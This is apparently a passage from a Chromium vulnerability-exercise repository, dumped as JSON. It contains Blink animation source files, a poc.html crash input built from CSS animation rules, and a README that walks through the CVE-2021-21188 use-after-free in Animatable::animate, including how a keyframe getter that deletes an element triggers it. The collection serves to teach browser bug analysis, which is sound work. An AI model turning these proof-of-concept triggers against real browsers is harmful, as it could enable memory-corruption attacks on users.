used_property));\n        break;\n      case CSSPropertyID::kVisibility:\n        applicable_types->push_back(\n            std::make_unique<CSSVisibilityInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kClip:\n        applicable_types->push_back(\n            std::make_unique<CSSClipInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kOffsetRotate:\n        applicable_types->push_back(\n            std::make_unique<CSSOffsetRotateInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBackgroundPositionX:\n      case CSSPropertyID::kBackgroundPositionY:\n      case CSSPropertyID::kWebkitMaskPositionX:\n      case CSSPropertyID::kWebkitMaskPositionY:\n        applicable_types->push_back(\n            std::make_unique<CSSPositionAxisListInterpolationType>(\n                used_property));\n        break;\n      case CSSPropertyID::kObjectPosition:\n      case CSSPropertyID::kOffsetAnchor:\n      case CSSPropertyID::kOffsetPosition:\n      case CSSPropertyID::kPerspectiveOrigin:\n        applicable_types->push_back(\n            std::make_unique<CSSPositionInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBorderBottomLeftRadius:\n      case CSSPropertyID::kBorderBottomRightRadius:\n      case CSSPropertyID::kBorderTopLeftRadius:\n      case CSSPropertyID::kBorderTopRightRadius:\n      case CSSPropertyID::kContainIntrinsicSize:\n        applicable_types->push_back(\n            std::make_unique<CSSLengthPairInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kTranslate:\n        applicable_types->push_back(\n            std::make_unique<CSSTranslateInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kTransformOrigin:\n        applicable_types->push_back(\n            std::make_unique<CSSTransformOriginInterpolationType>(\n                used_property));\n        break;\n      case CSSPropertyID::kBackgroundSize:\n      case CSSPropertyID::kWebkitMaskSize:\n        applicable_types->push_back(\n            std::make_unique<CSSSizeListInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBorderImageOutset:\n      case CSSPropertyID::kBorderImageWidth:\n      case CSSPropertyID::kWebkitMaskBoxImageOutset:\n      case CSSPropertyID::kWebkitMaskBoxImageWidth:\n        applicable_types->push_back(\n            std::make_unique<CSSBorderImageLengthBoxInterpolationType>(\n                used_property));\n        break;\n      case CSSPropertyID::kScale:\n        applicable_types->push_back(\n            std::make_unique<CSSScaleInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kFontSize:\n        applicable_types->push_back(\n            std::make_unique<CSSFontSizeInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kTextIndent:\n        applicable_types->push_back(\n            std::make_unique<CSSTextIndentInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBorderImageSlice:\n      case CSSPropertyID::kWebkitMaskBoxImageSlice:\n        applicable_types->push_back(\n            std::make_unique<CSSImageSliceInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kClipPath:\n        applicable_types->push_back(\n            std::make_unique<CSSBasicShapeInterpolationType>(used_property));\n        applicable_types->push_back(\n            std::make_unique<CSSPathInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kShapeOutside:\n        applicable_types->push_back(\n            std::make_unique<CSSBasicShapeInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kRotate:\n        applicable_types->push_back(\n            std::make_unique<CSSRotateInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBackdropFilter:\n      case CSSPropertyID::kFilter:\n        applicable_types->push_back(\n            std::make_unique<CSSFilterListInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kTransform:\n        applicable_types->push_back(\n            std::make_unique<CSSTransformInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kVariable:\n        DCHECK_EQ(GetRegistration(registry_, property), nullptr);\n        break;\n      default:\n        DCHECK(!css_property.IsInterpolable());\n        break;\n    }\n  }\n\n  applicable_types->push_back(\n      std::make_unique<CSSDefaultInterpolationType>(used_property));\n\n  auto add_result =\n      applicable_types_map.insert(property, std::move(applicable_types));\n  return *add_result.stored_value->value;\n}\n\nsize_t CSSInterpolationTypesMap::Version() const {\n  return registry_ ? registry_->Version() : 0;\n}\n\nstatic std::unique_ptr<CSSInterpolationType>\nCreateInterpolationTypeForCSSSyntax(CSSSyntaxType syntax,\n                                    PropertyHandle property,\n                                    const PropertyRegistration& registration) {\n  switch (syntax) {\n    case CSSSyntaxType::kAngle:\n      return std::make_unique<CSSAngleInterpolationType>(property,\n                                                         &registration);\n    case CSSSyntaxType::kColor:\n      return std::make_unique<CSSColorInterpolationType>(property,\n                                                         &registration);\n    case CSSSyntaxType::kLength:\n      return std::make_unique<CSSCustomLengthInterpolationType>(property,\n                                                                &registration);\n    case CSSSyntaxType::kLengthPercentage:\n      return std::make_unique<CSSLengthInterpolationType>(property,\n                                                          &registration);\n    case CSSSyntaxType::kPercentage:\n      return std::make_unique<CSSPercentageInterpolationType>(property,\n                                                              &registration);\n    case CSSSyntaxType::kNumber:\n      return std::make_unique<CSSNumberInterpolationType>(property,\n                                                          &registration);\n    case CSSSyntaxType::kResolution:\n      return std::make_unique<CSSResolutionInterpolationType>(property,\n                                                              &registration);\n    case CSSSyntaxType::kTime:\n      return std::make_unique<CSSTimeInterpolationType>(property,\n                                                        &registration);\n    case CSSSyntaxType::kImage:\n      // TODO(andruud): Implement smooth interpolation for gradients.\n      return nullptr;\n    case CSSSyntaxType::kInteger:\n      return std::make_unique<CSSNumberInterpolationType>(property,\n                                                          &registration, true);\n    case CSSSyntaxType::kTransformFunction:\n    case CSSSyntaxType::kTransformList:\n      // TODO(alancutter): Support smooth interpolation of these types.\n      return nullptr;\n    case CSSSyntaxType::kCustomIdent:\n    case CSSSyntaxType::kIdent:\n    case CSSSyntaxType::kTokenStream:\n    case CSSSyntaxType::kUrl:\n      // Smooth interpolation not supported for these types.\n      return nullptr;\n    default:\n      NOTREACHED();\n      return nullptr;\n  }\n}\n\nInterpolationTypes\nCSSInterpolationTypesMap::CreateInterpolationTypesForCSSSyntax(\n    const AtomicString& property_name,\n    const CSSSyntaxDefinition& definition,\n    const PropertyRegistration& registration) {\n  PropertyHandle property(property_name);\n  InterpolationTypes result;\n\n  // All custom properties may encounter var() dependency cycles.\n  result.push_back(\n      std::make_unique<CSSVarCycleInterpolationType>(property, registration));\n\n  for (const CSSSyntaxComponent& component : definition.Components()) {\n    std::unique_ptr<CSSInterpolationType> interpolation_type =\n        CreateInterpolationTypeForCSSSyntax(component.GetType(), property,\n                                            registration);\n\n    if (!interpolation_type)\n      continue;\n\n    if (component.IsRepeatable()) {\n      interpolation_type = std::make_unique<CSSCustomListInterpolationType>(\n          property, &registration, std::move(interpolation_type),\n          component.GetType(), component.GetRepeat());\n    }\n\n    result.push_back(std::move(interpolation_type));\n  }\n  result.push_back(std::make_unique<CSSDefaultInterpolationType>(property));\n  return result;\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_1/exercise_5/poc.html",
    "content": "<iframe id=\"result\" srcdoc=\"\n    <style>\n    .rainbow__band:nth-of-type(2) {\n    --hue: 35;\n    }\n    </style>\n    <div class=&quot;rainbow__band&quot; style=&quot;--index: 0;&quot;></div>\"\n>\n</iframe>\n\n<iframe id=\"result\" srcdoc=\"\n    <style>\n    .rainbow__band {\n    -webkit-animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;\n        animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;\n    }\n\n    @-webkit-keyframes rainbow {\n    0%, 100% {\n    --hue: 10;\n    }\n    }\n    </style>\n    <div class=&quot;rainbow__band&quot; style=&quot;--index: 0;&quot;></div>\n    </div>\n    \">\n</iframe>\n\n<iframe id=\"result\" srcdoc=\"\n    <style>\n    @property --hue {\n    initial-value: 0;\n    inherits: false;\n    syntax: '<number>';\n    }\n\n    .rainbow__band {\n\n    -webkit-animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;\n        animation: rainbow 2s calc(var(--index, 0) * -0.2s) infinite linear;\n    }\n\n    @keyframes rainbow {\n        to {\n        --hue: 360;\n        }\n    }\n    </style>\n    <div class=&quot;rainbow__band&quot; style=&quot;--index: 0;&quot;></div>\n    </div>\"\n>\n</iframe>"
  },
  {
    "path": "LEVEL_1/exercise_6/README.md",
    "content": "# Exercise 6\n\n## CVE-2021-21188\nI sugget you don't search any report about it to prevents get too much info like patch.\n\nThis time we do it by code audit\n\n### Details\n\n> Test for persistent execution context during Animatable::animate.\n> \n> Prior to the patch, the validity of the execution context was only\n> checked on entry to the method; however, the execution context can\n> be invalidated during the course of parsing keyframes or options.\n> The parsing of options is upstream of Animatable::animate and caught by\n> the existing check, but invalidation during keyframe parsing could fall\n> through triggering a crash.\n\n\nYou can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation`\n\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1161739\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard 710bae69e18a9b086795cf79d849bd7f6e9c97fa\n```\n\n### Related code\n[`third_party/blink/renderer/core/animation/animatable.cc`](https://source.chromium.org/chromium/chromium/src/+/db032cf0a96b0e7e1007f181d8ce21e39617cee7:third_party/blink/renderer/core/animation/animatable.cc) and others\n\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n  \n  Let's start analysis the source code\n  ``` c++\n  Animation* Animatable::animate(\n      ScriptState* script_state,\n      const ScriptValue& keyframes,\n      const UnrestrictedDoubleOrKeyframeAnimationOptions& options,\n      ExceptionState& exception_state) {\n    if (!script_state->ContextIsValid())\n        return nullptr;\n    Element* element = GetAnimationTarget();\n    if (!element->GetExecutionContext())        [1] call `GetExecutionContext` to check whether the validity of this ptr \n        return nullptr;\n    KeyframeEffect* effect =\n        KeyframeEffect::Create(script_state, element, keyframes,    [2] call create and element is the second parameter\n                                CoerceEffectOptions(options), exception_state);\n    if (exception_state.HadException())\n        return nullptr;\n\n    ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(),\n                                            *effect->Model());\n    if (!options.IsKeyframeAnimationOptions())\n      return element->GetDocument().Timeline().Play(effect);\n\n    Animation* animation;\n    const KeyframeAnimationOptions* options_dict =\n        options.GetAsKeyframeAnimationOptions();\n    if (!options_dict->hasTimeline()) {\n      animation = element->GetDocument().Timeline().Play(effect);\n    } else if (AnimationTimeline* timeline = options_dict->timeline()) {\n      animation = timeline->Play(effect);\n    } else {\n    animation = Animation::Create(element->GetExecutionContext(), effect, [3] If we delete `element` in [2], this trigger crash \n                                    nullptr, exception_state);\n    }\n    [ ... ]\n  ```\n  What happen in Create\n  ```c++\n  KeyframeEffect* KeyframeEffect::Create(\n    ScriptState* script_state,\n    Element* element,\n    const ScriptValue& keyframes,\n    const UnrestrictedDoubleOrKeyframeEffectOptions& options,\n    ExceptionState& exception_state) {\n    Document* document = element ? &element->GetDocument() : nullptr;\n    Timing timing = TimingInput::Convert(options, document, exception_state);\n    if (exception_state.HadException())\n      return nullptr;\n\n    EffectModel::CompositeOperation composite = EffectModel::kCompositeReplace;\n    String pseudo = String();\n    // [ ... ]\n    KeyframeEffectModelBase* model = EffectInput::Convert(      [4] call Convert, and element is the first parameter\n        element, keyframes, composite, script_state, exception_state);\n    if (exception_state.HadException())\n      return nullptr;\n    KeyframeEffect* effect =\n        MakeGarbageCollected<KeyframeEffect>(element, model, timing);\n\n    if (!pseudo.IsEmpty()) {\n      effect->target_pseudo_ = pseudo;\n      if (element) {\n        element->GetDocument().UpdateStyleAndLayoutTreeForNode(element);\n        effect->effect_target_ = element->GetPseudoElement(\n            CSSSelector::ParsePseudoId(pseudo, element));\n      }\n    }\n    return effect;\n  }\n  ================================================================================\n  KeyframeEffectModelBase* EffectInput::Convert(\n    Element* element,\n    const ScriptValue& keyframes,\n    EffectModel::CompositeOperation composite,\n    ScriptState* script_state,\n    ExceptionState& exception_state) {\n  StringKeyframeVector parsed_keyframes =\n      ParseKeyframesArgument(element, keyframes, script_state, exception_state);  [5] call ParseKeyframesArgument and element is the first parameter\n  if (exception_state.HadException())\n    return nullptr;\n  [ ... ]\n  ```\n  I wander what is Keyframe? Then I found [this](https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes) and [this](https://developer.mozilla.org/en-US/docs/Web/CSS/animation). Although I posted the animation link last time, I didn’t read it myself... But this time we must know what is animation and keyframe.\n  > The animation property is specified as one or more single animations, separated by commas.\n  I don't know what the word animation mean, so I don't know what it mean for chrome :/ Alright, you can know them detailed from the two link or you can search yourself.\n\n  What can we do to delete this `element` during  `ParseKeyframesArgument`? We can see its def and how animation be constructed.\n  ```c++\n  StringKeyframeVector EffectInput::ParseKeyframesArgument(\n      Element* element,\n      const ScriptValue& keyframes,\n      ScriptState* script_state,\n      ExceptionState& exception_state) {\n    // Per the spec, a null keyframes object maps to a valid but empty sequence.\n    v8::Local<v8::Value> keyframes_value = keyframes.V8Value();\n    if (keyframes_value->IsNullOrUndefined())\n      return {};\n    v8::Local<v8::Object> keyframes_obj = keyframes_value.As<v8::Object>();\n\n    // 3. Let method be the result of GetMethod(object, @@iterator).\n    v8::Isolate* isolate = script_state->GetIsolate();\n    auto script_iterator =\n        ScriptIterator::FromIterable(isolate, keyframes_obj, exception_state);\n    if (exception_state.HadException())\n      return {};\n\n    // TODO(crbug.com/816934): Get spec to specify what parsing context to use.\n    Document& document = element\n                            ? element->GetDocument()\n                            : *LocalDOMWindow::From(script_state)->document();\n\n    StringKeyframeVector parsed_keyframes;\n    if (script_iterator.IsNull()) {\n      parsed_keyframes = ConvertObjectForm(element, document, keyframes_obj,\n                                          script_state, exception_state);\n    } else {\n      parsed_keyframes =\n          ConvertArrayForm(element, document, std::move(script_iterator),   [6]  if keyframes is sorted by array, do convert\n                          script_state, exception_state);\n    }\n  [ ... ]\n  ```\n  Parse the parameter of animatable (parse keyframes), If we transform an Array composed of keyframs, need call ConvertArrayForm for convert step.\n  ```c++\nStringKeyframeVector ConvertArrayForm(Element* element,\n                                      Document& document,\n                                      ScriptIterator iterator,\n                                      ScriptState* script_state,\n                                      ExceptionState& exception_state) {\n  v8::Isolate* isolate = script_state->GetIsolate();\n\n  // This loop captures step 5 of the procedure to process a keyframes argument,\n  // in the case where the argument is iterable.\n  HeapVector<Member<const BaseKeyframe>> processed_base_keyframes;\n  Vector<Vector<std::pair<String, String>>> processed_properties;\n  ExecutionContext* execution_context = ExecutionContext::From(script_state);\n  while (iterator.Next(execution_context, exception_state)) {\n    if (exception_state.HadException())\n      return {};\n\n    // The value should already be non-empty, as guaranteed by the call to Next\n    // and the exception_state check above.\n    v8::Local<v8::Value> keyframe = iterator.GetValue().ToLocalChecked();\n\n    BaseKeyframe* base_keyframe = NativeValueTraits<BaseKeyframe>::NativeValue(\n        isolate, keyframe, exception_state);\n    Vector<std::pair<String, String>> property_value_pairs;\n\n    if (!keyframe->IsNullOrUndefined()) {\n      AddPropertyValuePairsForKeyframe(                           [7]   call AddPropertyValuePairsForKeyframe\n          isolate, v8::Local<v8::Object>::Cast(keyframe), element, document,\n          property_value_pairs, exception_state);\n      if (exception_state.HadException())\n        return {};\n    }\n  [ ... ]\n===========================================================================\n  void AddPropertyValuePairsForKeyframe(\n      v8::Isolate* isolate,\n      v8::Local<v8::Object> keyframe_obj,\n      Element* element,\n      const Document& document,\n      Vector<std::pair<String, String>>& property_value_pairs,\n      ExceptionState& exception_state) {\n    Vector<String> keyframe_properties =\n        GetOwnPropertyNames(isolate, keyframe_obj, exception_state);\n\n      // By spec, we are only allowed to access a given (property, value) pair\n      // once. This is observable by the web client, so we take care to adhere\n      // to that.\n      v8::Local<v8::Value> v8_value;\n      if (!keyframe_obj\n              ->Get(isolate->GetCurrentContext(), V8String(isolate, property))    [8] call get\n              .ToLocal(&v8_value)) {\n        exception_state.RethrowV8Exception(try_catch.Exception());\n        return;\n      }\n  }\n  ```\n  We can delete this `element` in `getter`, these `element` and `document` is the target of `html`, if you can get if you have learned how js control DOM of html.\n  We use `element.animate(keyframes, options);` to trigger, we can make a `arr` whose `getter` delete `element_1`. and do `element_2.animate(arr,{...})`, you can see detail at [Poc](./poc.html).\n\n\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_1/exercise_6/animatable.cc",
    "content": "// Copyright 2017 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"third_party/blink/renderer/core/animation/animatable.h\"\n\n#include \"third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_animation_options.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_effect_options.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_get_animations_options.h\"\n#include \"third_party/blink/renderer/core/animation/animation.h\"\n#include \"third_party/blink/renderer/core/animation/document_animations.h\"\n#include \"third_party/blink/renderer/core/animation/document_timeline.h\"\n#include \"third_party/blink/renderer/core/animation/effect_input.h\"\n#include \"third_party/blink/renderer/core/animation/effect_model.h\"\n#include \"third_party/blink/renderer/core/animation/keyframe_effect.h\"\n#include \"third_party/blink/renderer/core/animation/keyframe_effect_model.h\"\n#include \"third_party/blink/renderer/core/animation/timing.h\"\n#include \"third_party/blink/renderer/core/animation/timing_input.h\"\n#include \"third_party/blink/renderer/core/dom/document.h\"\n#include \"third_party/blink/renderer/core/dom/element.h\"\n#include \"third_party/blink/renderer/core/feature_policy/layout_animations_policy.h\"\n#include \"third_party/blink/renderer/platform/bindings/exception_state.h\"\n#include \"third_party/blink/renderer/platform/bindings/script_state.h\"\n#include \"third_party/blink/renderer/platform/heap/heap.h\"\n\nnamespace blink {\nnamespace {\n\n// A helper method which is used to trigger a violation report for cases where\n// the |element.animate| API is used to animate a CSS property which is blocked\n// by the feature policy 'layout-animations'.\nvoid ReportFeaturePolicyViolationsIfNecessary(\n    const ExecutionContext& context,\n    const KeyframeEffectModelBase& effect) {\n  for (const auto& property_handle : effect.Properties()) {\n    if (!property_handle.IsCSSProperty())\n      continue;\n    const auto& css_property = property_handle.GetCSSProperty();\n    if (LayoutAnimationsPolicy::AffectedCSSProperties().Contains(\n            &css_property)) {\n      LayoutAnimationsPolicy::ReportViolation(css_property, context);\n    }\n  }\n}\n\nUnrestrictedDoubleOrKeyframeEffectOptions CoerceEffectOptions(\n    UnrestrictedDoubleOrKeyframeAnimationOptions options) {\n  if (options.IsKeyframeAnimationOptions()) {\n    return UnrestrictedDoubleOrKeyframeEffectOptions::FromKeyframeEffectOptions(\n        options.GetAsKeyframeAnimationOptions());\n  } else {\n    return UnrestrictedDoubleOrKeyframeEffectOptions::FromUnrestrictedDouble(\n        options.GetAsUnrestrictedDouble());\n  }\n}\n\n}  // namespace\n\n// https://drafts.csswg.org/web-animations/#dom-animatable-animate\nAnimation* Animatable::animate(\n    ScriptState* script_state,\n    const ScriptValue& keyframes,\n    const UnrestrictedDoubleOrKeyframeAnimationOptions& options,\n    ExceptionState& exception_state) {\n  if (!script_state->ContextIsValid())\n    return nullptr;\n  Element* element = GetAnimationTarget();\n  if (!element->GetExecutionContext())\n    return nullptr;\n  KeyframeEffect* effect =\n      KeyframeEffect::Create(script_state, element, keyframes,\n                             CoerceEffectOptions(options), exception_state);\n  if (exception_state.HadException())\n    return nullptr;\n\n  ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(),\n                                           *effect->Model());\n  if (!options.IsKeyframeAnimationOptions())\n    return element->GetDocument().Timeline().Play(effect);\n\n  Animation* animation;\n  const KeyframeAnimationOptions* options_dict =\n      options.GetAsKeyframeAnimationOptions();\n  if (!options_dict->hasTimeline()) {\n    animation = element->GetDocument().Timeline().Play(effect);\n  } else if (AnimationTimeline* timeline = options_dict->timeline()) {\n    animation = timeline->Play(effect);\n  } else {\n    animation = Animation::Create(element->GetExecutionContext(), effect,\n                                  nullptr, exception_state);\n  }\n\n  animation->setId(options_dict->id());\n  return animation;\n}\n\nAnimation* Animatable::animate(ScriptState* script_state,\n                               const ScriptValue& keyframes,\n                               ExceptionState& exception_state) {\n  if (!script_state->ContextIsValid())\n    return nullptr;\n  Element* element = GetAnimationTarget();\n  if (!element->GetExecutionContext())\n    return nullptr;\n  KeyframeEffect* effect =\n      KeyframeEffect::Create(script_state, element, keyframes, exception_state);\n  if (exception_state.HadException())\n    return nullptr;\n\n  ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(),\n                                           *effect->Model());\n  return element->GetDocument().Timeline().Play(effect);\n}\n\nHeapVector<Member<Animation>> Animatable::getAnimations(\n    GetAnimationsOptions* options) {\n  bool use_subtree = options && options->subtree();\n  Element* element = GetAnimationTarget();\n  if (use_subtree)\n    element->GetDocument().UpdateStyleAndLayoutTreeForSubtree(element);\n  else\n    element->GetDocument().UpdateStyleAndLayoutTreeForNode(element);\n\n  HeapVector<Member<Animation>> animations;\n  if (!use_subtree && !element->HasAnimations())\n    return animations;\n\n  for (const auto& animation :\n       element->GetDocument().GetDocumentAnimations().getAnimations(\n           element->GetTreeScope())) {\n    DCHECK(animation->effect());\n    // TODO(gtsteel) make this use the idl properties\n    Element* target = To<KeyframeEffect>(animation->effect())->EffectTarget();\n    if (element == target || (use_subtree && element->contains(target))) {\n      // DocumentAnimations::getAnimations should only give us animations that\n      // are either current or in effect.\n      DCHECK(animation->effect()->IsCurrent() ||\n             animation->effect()->IsInEffect());\n      animations.push_back(animation);\n    }\n  }\n  return animations;\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_1/exercise_6/effect_input.cc",
    "content": "/*\n * Copyright (C) 2013 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"third_party/blink/renderer/core/animation/effect_input.h\"\n\n#include \"third_party/blink/renderer/bindings/core/v8/array_value.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/dictionary.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/idl_types.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/script_iterator.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/string_or_string_sequence.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_base_keyframe.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_base_property_indexed_keyframe.h\"\n#include \"third_party/blink/renderer/core/animation/animation_input_helpers.h\"\n#include \"third_party/blink/renderer/core/animation/compositor_animations.h\"\n#include \"third_party/blink/renderer/core/animation/css/css_animations.h\"\n#include \"third_party/blink/renderer/core/animation/keyframe_effect_model.h\"\n#include \"third_party/blink/renderer/core/animation/string_keyframe.h\"\n#include \"third_party/blink/renderer/core/css/css_style_sheet.h\"\n#include \"third_party/blink/renderer/core/dom/document.h\"\n#include \"third_party/blink/renderer/core/dom/element.h\"\n#include \"third_party/blink/renderer/core/dom/node_computed_style.h\"\n#include \"third_party/blink/renderer/core/frame/frame_console.h\"\n#include \"third_party/blink/renderer/core/frame/local_dom_window.h\"\n#include \"third_party/blink/renderer/core/frame/local_frame.h\"\n#include \"third_party/blink/renderer/core/inspector/console_message.h\"\n#include \"third_party/blink/renderer/platform/heap/heap.h\"\n#include \"third_party/blink/renderer/platform/wtf/hash_set.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/ascii_ctype.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/wtf_string.h\"\n#include \"v8/include/v8.h\"\n\nnamespace blink {\n\nnamespace {\n\n// Converts the composite property of a BasePropertyIndexedKeyframe into a\n// vector of base::Optional<EffectModel::CompositeOperation> enums.\nVector<base::Optional<EffectModel::CompositeOperation>> ParseCompositeProperty(\n    const BasePropertyIndexedKeyframe* keyframe) {\n  const CompositeOperationOrAutoOrCompositeOperationOrAutoSequence& composite =\n      keyframe->composite();\n\n  if (composite.IsCompositeOperationOrAuto()) {\n    return {EffectModel::StringToCompositeOperation(\n        composite.GetAsCompositeOperationOrAuto())};\n  }\n\n  Vector<base::Optional<EffectModel::CompositeOperation>> result;\n  for (const String& composite_operation_string :\n       composite.GetAsCompositeOperationOrAutoSequence()) {\n    result.push_back(\n        EffectModel::StringToCompositeOperation(composite_operation_string));\n  }\n  return result;\n}\n\nvoid SetKeyframeValue(Element* element,\n                      Document& document,\n                      StringKeyframe& keyframe,\n                      const String& property,\n                      const String& value,\n                      ExecutionContext* execution_context) {\n  StyleSheetContents* style_sheet_contents = document.ElementSheet().Contents();\n  CSSPropertyID css_property =\n      AnimationInputHelpers::KeyframeAttributeToCSSProperty(property, document);\n  SecureContextMode secure_context_mode =\n      document.GetExecutionContext()\n          ? document.GetExecutionContext()->GetSecureContextMode()\n          : SecureContextMode::kInsecureContext;\n  if (css_property != CSSPropertyID::kInvalid) {\n    MutableCSSPropertyValueSet::SetResult set_result =\n        css_property == CSSPropertyID::kVariable\n            ? keyframe.SetCSSPropertyValue(AtomicString(property), value,\n                                           secure_context_mode,\n                                           style_sheet_contents)\n            : keyframe.SetCSSPropertyValue(css_property, value,\n                                           secure_context_mode,\n                                           style_sheet_contents);\n    if (!set_result.did_parse && execution_context) {\n      if (document.GetFrame()) {\n        document.GetFrame()->Console().AddMessage(\n            MakeGarbageCollected<ConsoleMessage>(\n                mojom::ConsoleMessageSource::kJavaScript,\n                mojom::ConsoleMessageLevel::kWarning,\n                \"Invalid keyframe value for property \" + property + \": \" +\n                    value));\n      }\n    }\n    return;\n  }\n  css_property =\n      AnimationInputHelpers::KeyframeAttributeToPresentationAttribute(property,\n                                                                      element);\n  if (css_property != CSSPropertyID::kInvalid) {\n    keyframe.SetPresentationAttributeValue(CSSProperty::Get(css_property),\n                                           value, secure_context_mode,\n                                           style_sheet_contents);\n    return;\n  }\n  const QualifiedName* svg_attribute =\n      AnimationInputHelpers::KeyframeAttributeToSVGAttribute(property, element);\n  if (svg_attribute)\n    keyframe.SetSVGAttributeValue(*svg_attribute, value);\n}\n\nbool ValidatePartialKeyframes(const StringKeyframeVector& keyframes) {\n  // WebAnimationsAPIEnabled guards both additive animations and allowing\n  // partial (implicit) keyframes.\n  if (RuntimeEnabledFeatures::WebAnimationsAPIEnabled())\n    return true;\n\n  // An implicit keyframe is inserted in the below cases. Note that the 'first'\n  // keyframe is actually all keyframes with offset 0.0, and the 'last' keyframe\n  // is actually all keyframes with offset 1.0.\n  //\n  //   1. A given property is present somewhere in the full set of keyframes,\n  //      but is either not present in the first keyframe (requiring an implicit\n  //      start value for that property) or last keyframe (requiring an implicit\n  //      end value for that property).\n  //\n  //   2. There is no first keyframe (requiring an implicit start keyframe), or\n  //      no last keyframe (requiring an implicit end keyframe).\n  //\n  // We only care about CSS properties here; animating SVG elements is protected\n  // by a different runtime flag.\n\n  Vector<double> computed_offsets =\n      KeyframeEffectModelBase::GetComputedOffsets(keyframes);\n\n  PropertyHandleSet properties_with_offset_0;\n  PropertyHandleSet properties_with_offset_1;\n  for (wtf_size_t i = 0; i < keyframes.size(); i++) {\n    for (const PropertyHandle& property : keyframes[i]->Properties()) {\n      if (!property.IsCSSProperty())\n        continue;\n\n      if (computed_offsets[i] == 0.0) {\n        properties_with_offset_0.insert(property);\n      } else {\n        if (!properties_with_offset_0.Contains(property))\n          return false;\n        if (computed_offsets[i] == 1.0) {\n          properties_with_offset_1.insert(property);\n        }\n      }\n    }\n  }\n\n  // At this point we have compared all keyframes with offset > 0 against the\n  // properties contained in the first keyframe, and found that they match. Now\n  // we just need to make sure that there aren't any properties in the first\n  // keyframe that aren't in the last keyframe.\n  return properties_with_offset_0.size() == properties_with_offset_1.size();\n}\n\n// Ensures that a CompositeOperation is of an allowed value for a given\n// StringKeyframe and the current runtime flags.\nEffectModel::CompositeOperation ResolveCompositeOperationForKeyframe(\n    EffectModel::CompositeOperation composite,\n    StringKeyframe* keyframe) {\n  bool additive_composite = composite == EffectModel::kCompositeAdd ||\n                            composite == EffectModel::kCompositeAccumulate;\n  if (!RuntimeEnabledFeatures::WebAnimationsAPIEnabled() &&\n      keyframe->HasCssProperty() && additive_composite) {\n    return EffectModel::kCompositeReplace;\n  }\n  return composite;\n}\n\nbool IsAnimatableKeyframeAttribute(const String& property,\n                                   Element* element,\n                                   const Document& document) {\n  